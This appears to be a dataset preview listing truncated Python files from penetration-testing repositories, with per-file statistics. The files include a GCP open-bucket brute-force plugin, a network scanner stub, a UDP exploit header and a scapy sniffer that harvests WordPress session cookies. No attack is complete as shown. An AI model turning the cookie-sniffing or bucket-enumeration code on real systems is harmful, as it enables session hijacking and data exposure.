ACTIVE Plugin for Testing for Open GCP Buckets(OWASP-CL-002)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "GCPBucketBrute for Open GCP Buckets"
def run(PluginInfo):
resource = get_resources("ActiveOpenGCPBuckets")
# GCPBrute works better... | 26.086957 | 75 | 0.721865 |
PenetrationTestingScripts | #coding=utf-8
__author__ = 'wilson'
import sys
sys.path.append("../")
from comm.config import *
from comm.printers import printPink,printRed,printGreen
import threading
from threading import Thread
from Queue import Queue
import platform
from subprocess import Popen, PIPE
import re
import time
import socket
socket.set... | 39.59322 | 1,173 | 0.542843 |
PenetrationTestingScripts | import logging
from _response import response_seek_wrapper
from _urllib2_fork import BaseHandler
class HTTPResponseDebugProcessor(BaseHandler):
handler_order = 900 # before redirections, after everything else
def http_response(self, request, response):
if not hasattr(response, "seek"):
... | 31.37931 | 69 | 0.624733 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: udp_exploit.py
Purpose: An sample exploit for testing UDP services
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following c... | 45.547619 | 89 | 0.775333 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import optparse
from scapy.all import *
cookieTable = {}
def fireCatcher(pkt):
raw = pkt.sprintf('%Raw.load%')
r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
if r and 'Set' not in raw:
if r[0] not in cookieTable.keys():
cookieTabl... | 24.590909 | 64 | 0.576889 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import multiprocessing as mp
import time
import logging
logging.basicConfig(level=logging.DEBUG,
format='(%(processName)-10s) %(message)s',
)
class Processes():
def __init__(self):
pass
def execute(self,id):
time.sleep(1)
logging.debug("Executed Pro... | 20.972222 | 66 | 0.655696 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.